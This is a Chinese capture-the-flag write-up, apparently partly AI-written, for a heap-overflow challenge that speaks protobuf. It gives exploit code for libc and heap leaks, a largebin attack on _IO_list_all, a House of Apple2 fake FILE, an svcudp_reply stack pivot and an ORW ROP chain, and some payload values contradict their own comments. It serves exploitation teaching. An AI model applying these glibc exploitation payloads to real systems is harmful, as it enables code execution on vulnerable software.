protobuf协议的堆布局利用
字数 3748
更新时间 2026-03-23 22:12:17
利用堆溢出实现从信息泄露到House of Apple2的完整利用链解析
一、题目概述与漏洞定位
1.1 漏洞本质
本题目存在一个标准的堆溢出漏洞,核心漏洞点在edit功能。程序逻辑伪代码如下:
# 漏洞代码逻辑
def edit(idx, new_data, new_size):
ptr = chunks[idx] # 获取原有chunk指针
# 关键问题:没有检查new_size是否小于原chunk大小
memcpy(ptr, new_data, new_size) # 直接使用用户传入的new_size
利用方式:
- 先申请一个小chunk(例如0x100字节)
- 在edit时传入一个更大的size(例如0x200)
- 程序会直接覆盖后续chunk的header和相邻数据
1.2 程序限制
- 最多可创建15个chunk
- 单次操作大小限制为0x500字节
- 使用protobuf协议通信,需注意:
- 长度头为4字节小端(p32)
- heap_chunks_id和chunk_sizes是repeated类型
二、整体利用路线
完整利用链可分为六个阶段:
- 构造可控重叠:利用溢出制造重叠chunk,将show功能转化为信息泄露工具
- 泄露libc基址:通过free chunk残留指针泄露main_arena地址
- 泄露堆基址:进一步扩大观察窗口,计算堆区域真实基址
- Largebin Attack:修改
_IO_list_all指向堆上的chunk header - House of Apple2:通过IO链触发magic gadget
- 栈迁移执行ORW:利用svcudp_reply实现栈迁移,最终执行ORW链读取flag
三、堆风水布局设计
3.1 chunk尺寸选择
# 推荐布局
add(0, 0x420) # chunk0
add(1, 0x420) # chunk1
add(2, 0x420) # chunk2 - 关键溢出点
add(3, 0x420) # chunk3
add(4, 0x410) # chunk4
add(5, 0x410) # chunk5
add(6, 0x410) # chunk6
尺寸选择理由:
- 0x420:足够大以进入unsorted/largebin,同时为chunk2提供充足的溢出空间
- 0x410:作为隔离和承接区域,稳定堆布局
- 确保总大小不超过0x500限制
3.2 堆布局目标
+-----------------+
| chunk0 (0x420) |
+-----------------+
| chunk1 (0x420) |
+-----------------+
| chunk2 (0x420) | <-- 从此处开始溢出
+-----------------+
| chunk3 (0x420) |
+-----------------+
| chunk4 (0x410) |
+-----------------+
| chunk5 (0x410) |
+-----------------+
| chunk6 (0x410) |
+-----------------+
四、信息泄露阶段
4.1 libc基址泄露
# 步骤1:制造重叠
free(3) # 释放chunk3进入unsorted bin
edit(2, b'@'*0x420 + p64(0) + p64(0x431) + b'@'*0x10, 0x440)
# 步骤2:通过show泄露libc指针
show(2)
# 接收数据直到对齐标记
io.recvuntil(b'@'*0x10)
# 读取libc指针
leak = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = leak - 0x219ce0 # 偏移需根据实际libc版本调整
原理:
- free后的chunk在unsorted bin中会残留指向main_arena的指针
- 通过调整chunk边界,show时会将这些指针一并输出
- 使用
@作为对齐标记确保稳定读取
4.2 堆基址泄露
# 继续扩大溢出范围
edit(2, b'A'*0x420 + p64(0) + p64(0x4a1), 0x440)
free(4) # 释放chunk4
show(2)
# 读取堆指针并计算堆基址
heap_leak = u64(io.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak - 0x290 # 偏移需根据实际布局调整
关键点:
- 泄露的地址通常不是最干净的堆基址,而是中间某个位置
- 需要通过已知偏移反向计算真实堆基址
- 公式中的修正项不是魔法数,而是根据实际内存布局计算得出
五、Largebin Attack修改_IO_list_all
5.1 Largebin Attack原理
利用largebin处理逻辑,在特定条件下让glibc自身修改目标地址:
- 伪造largebin chunk的
bk_nextsize指针 - 通过malloc触发largebin整理
- glibc会将目标地址写入
_IO_list_all
5.2 具体实现
# 计算目标地址
file_addr = heap_base + 0x6180 # 指向chunk header,不是FILE结构起点
# 构造largebin attack payload
payload = b'B'*0x420
payload += p64(0) + p64(0x4a1) # chunk3 header
payload += p64(libc_base + 0x219ce0) # fd
payload += p64(file_addr - 0x20) # bk
payload += p64(0) # fd_nextsize
payload += p64(libc.sym['_IO_list_all'] - 0x20) # bk_nextsize - 关键!
edit(2, payload, len(payload))
# 触发largebin整理
add(7, 0x480)
核心认知:
_IO_list_all指向的是chunk header起点,而不是FILE结构起点(+0x0位置)- 这意味着后续fake FILE布局需要从FILE+0x10位置开始
- 这是后续所有偏移计算的关键前提
六、House of Apple2利用链
6.1 为什么选择House of Apple2
- 栈泄露路径不顺畅
- 现有堆布局非常适合IO攻击
- 已具备libc和heap基址,满足House of Apple2条件
- magic gadget在glibc 2.35中可用:
svcudp_reply+26
6.2 Fake FILE部分覆盖布局
由于_IO_list_all指向chunk header,实际布局为:
+---------------------+
| chunk header | <-- _IO_list_all指向这里
| (prev_size, size) |
+---------------------+
| _flags (partial) | <-- FILE+0x0,但被chunk header部分覆盖
| ... |
+---------------------+
| fake FILE主体 | <-- 实际从FILE+0x10开始写入
| 从_IO_read_ptr开始 |
+---------------------+
6.3 关键字段设置
# partial fake FILE布局
fake_file = b''
# chunk header部分
fake_file += p64(0) + p64(0) # 清空,避免_FLAGS残留0x800
# 从FILE+0x10开始
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(1) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base = chunk0地址
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers
fake_file += p64(0) # _chain
fake_file += p64(0) # _fileno
fake_file += p64(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p64(0) # _cur_column
fake_file += p16(0) # _vtable_offset
fake_file += p16(0) # _shortbuf
fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(0) # _wide_data = file_addr + 0x8
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # _unused2
fake_file += p64(0)*3 # 填充
fake_file += p64(libc_base + 0x2160c0) # vtable
6.4 wide_data和wide_vtable设置
# _wide_data结构
wide_data = p64(0)*4
wide_data += p64(0) # _IO_write_base
wide_data += p64(1) # _IO_write_ptr
wide_data += p64(0) # _IO_write_end
wide_data += p64(0) # _IO_buf_base
wide_data += p64(0) # _IO_buf_end
wide_data += p64(0)*4
wide_data += p64(magic_gadget) # 关键:wide_vtable+0x68
注意对齐:
_wide_data需要指向file_addr + 0x8,以避开chunk header的影响magic_gadget必须放在wide_vtable + 0x68位置- 两个qword顺序不能颠倒
七、常见调试点与解决方案
7.1 五个关键调试坑点
坑点1:_wide_data起点错位0x8
现象:_IO_read_ptr读取到chunk header的脏数据,写缓冲字段整体串位
解决方案:将_wide_data后移一个qword,重新对齐写缓冲字段
坑点2:_wide_vtable和magic_gadget顺序颠倒
现象:程序将gadget本身当作_wide_vtable指针读取
正确顺序:wide_data -> wide_vtable -> magic_gadget
错误顺序:wide_data -> magic_gadget -> wide_vtable
坑点3:_flags残留0x800
现象:控制流不进入_IO_wdoallocbuf,而是走偏
解决方案:清空chunk header对应位置
p64(0xfbad1800) # 保留_IO_MAGIC,清掉多余低位flag
坑点4:svcudp_reply+30崩溃,rbp为空
现象:mov rax, [rbp+0x18]访问空指针
原因:_IO_save_base(fp+0x48)为0
解决方案:将_IO_save_base设置为chunk0地址
坑点5:fake xdr_ops未填充
现象:call [rax+0x28]访问空指针表
解决方案:在chunk0+0x18位置布置fake xdr_ops表
# 只需要填充x_setpostn槽位
fake_xdr_ops = p64(0)*5 # 前5个槽位
fake_xdr_ops += p64(libc_base + 0x000000000005a1d5) # leave_ret gadget
八、svcudp_reply栈迁移详解
8.1 控制流转换
svcudp_reply+26:
mov rbp, qword [rdi+0x48] ; rdi=fake_FILE, rbp=_IO_save_base=chunk0
mov rax, qword [rbp+0x18] ; rax=fake_xdr_ops
call qword [rax+0x28] ; 调用x_setpostn=leave_ret
8.2 chunk0内存布局
chunk0+0x00: "./flag\x00" # 字符串,会被pop rbp消费
chunk0+0x08: add_rsp_18 gadget # 返回地址
chunk0+0x10: 0x0 # 会被svcudp_reply清零
chunk0+0x18: fake_xdr_ops指针 # 关键:指向fake xdr_ops表
chunk0+0x20: 无关数据 # 会被add rsp,0x18跳过
chunk0+0x28: ORW链开始
8.3 栈迁移过程
leave执行:rsp = rbp = chunk0pop rbp:rbp = "./flag"(字符串地址)ret:跳转到add_rsp_18 gadgetadd rsp, 0x18:跳过前面三格- 执行真正的ORW链
九、ORW链设计
9.1 ORW链结构
# ORW ROP链
rop_chain = [
# close(0) - 确保fd 0可用
libc_base + 0xebcf1, # pop rdi; ret
0, # fd = 0
libc_base + libc.sym['close'],
# open("./flag", O_RDONLY)
libc_base + 0xebcf1, # pop rdi; ret
heap_base + 0x6190, # "./flag"字符串地址
libc_base + 0xe3b2e, # pop rsi; ret
0, # O_RDONLY
libc_base + 0xde7f9, # pop rdx; ret
0,
libc_base + libc.sym['open'],
# read(0, buf, 0x100)
libc_base + 0xebcf1, # pop rdi; ret
0, # fd = 0(open返回的)
libc_base + 0xe3b2e, # pop rsi; ret
heap_base + 0x7000, # 缓冲区地址
libc_base + 0xde7f9, # pop rdx; ret
0x100, # 读取长度
libc_base + libc.sym['read'],
# write(1, buf, len)
libc_base + 0xebcf1, # pop rdi; ret
1, # fd = stdout
libc_base + 0xe3b2e, # pop rsi; ret
heap_base + 0x7000, # 缓冲区地址
libc_base + 0xde7f9, # pop rdx; ret
0x100, # 写入长度
libc_base + libc.sym['write']
]
9.2 设计要点
- 先close(0):确保open返回的fd为0,简化后续read调用
- 字符串放置:
"./flag"放在chunk0开头,虽然会被pop rbp消费,但不影响使用 - 缓冲区选择:选择堆上未使用的区域作为读写缓冲区
十、最终内存布局总览
heap_base + 0x6180: [chunk header] <-- _IO_list_all指向这里
+0x6188: [chunk header cont.]
+0x6190: "./flag\x00" # 字符串
+0x6198: add_rsp_18 gadget # 栈迁移
+0x61a0: 0x0 # 被清零区域
+0x61a8: fake_xdr_ops指针 # 指向xdr_ops表
+0x61b0: 无关数据
+0x61b8: ORW链开始
+0x6200: partial fake FILE # 从FILE+0x10开始
+0x6280: _wide_data
+0x6300: wide_vtable
heap_base + 0x7000: 读写缓冲区
十一、调试检查清单
11.1 分阶段调试策略
第一阶段:验证协议和交互
- [ ] 确认菜单映射:1=add, 2=free, 3=edit, 4=show, 5=exit
- [ ] 确认长度头使用p32
- [ ] 确认protobuf封装正确
- [ ] 本地gdb附加不影响交互
第二阶段:验证信息泄露
- [ ] show(2)能否稳定对齐到
@*0x10标记 - [ ] libc泄露地址每次是否在同一区域
- [ ] 堆泄露地址能否稳定计算堆基址
第三阶段:验证Largebin Attack
- [ ] 直接检查
_IO_list_all是否指向堆地址 - [ ] 确认指向的是chunk header(heap+0x6180)
- [ ] 不是指向原始
_IO_2_1_stderr_
第四阶段:验证IO链触发
- [ ] 在
_IO_flush_all_lockp下断点 - [ ] 确认触发路径:
_IO_wfile_overflow->_IO_wdoallocbuf - [ ] 检查
_flags & 0x800是否被清空
第五阶段:验证Apple2字段
- [ ]
_wide_data == file_addr + 0x8 - [ ]
_IO_write_base == 0 - [ ]
_IO_write_ptr == 1 - [ ]
_wide_vtable + 0x68 == magic_gadget
第六阶段:验证svcudp_reply
- [ ]
rbp = [fp+0x48] = chunk0 - [ ]
rax = [rbp+0x18] = fake_xdr_ops - [ ]
call [rax+0x28] = leave_ret
第七阶段:验证ORW执行
- [ ] chunk0开头仍是
"./flag" - [ ]
add_rsp_18正确执行 - [ ] open返回fd=0
- [ ] read/write正常执行
十二、关键代码片段
12.1 协议封装
def add_chunk(idx, size):
req = p32(0) # 长度头占位
req += b'\x0a' + p8(1) + p8(idx) # heap_chunks_id
req += b'\x12' + p8(2) + p16(size) # chunk_sizes
req = p32(len(req) - 4) + req[4:] # 更新长度头
return req
12.2 双泄露实现
# libc泄露
free(3)
edit(2, b'@'*0x420 + p64(0) + p64(0x431) + b'@'*0x10, 0x440)
show(2)
io.recvuntil(b'@'*0x10)
libc_leak = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = libc_leak - 0x219ce0
# 堆泄露
edit(2, b'A'*0x420 + p64(0) + p64(0x4a1), 0x440)
free(4)
show(2)
io.recv(0x430)
heap_leak = u64(io.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak - 0x290
12.3 最终触发
# 布置fake FILE
edit(8, fake_file_payload, len(fake_file_payload))
# 布置chunk0
edit(0, orw_payload, len(orw_payload))
# 触发IO链
quit_menu() # 关键触发点
十三、经验总结
13.1 核心教训
- 错位是最大敌人:利用链的难点往往不是思路,而是实际写入位置与解释器读取位置之间的错位
- 分阶段验证:不要一次性调试整个复杂链,按阶段逐步验证
- 最小化修改:当前层问题未解决前,不要修改下一层
- 结构对齐优先:确保每个结构字段都位于正确偏移
13.2 利用链本质
这道题展示了一个标准的从堆溢出到完整利用的演进过程:
- 从简单溢出开始
- 通过可控重叠获取信息泄露
- 利用largebin attack修改关键全局指针
- 通过精心构造的IO链实现控制流劫持
- 最终通过栈迁移执行ORW
每个步骤都有其特定目的,且后一步依赖前一步的成功执行。调试时需要保持耐心,逐步验证每个环节的正确性。
文档未详述此点,但基于我所掌握的知识,这种利用模式在CTF堆题中较为常见,需要深入理解glibc内存管理机制和IO_FILE结构才能有效利用。
相似文章
相似文章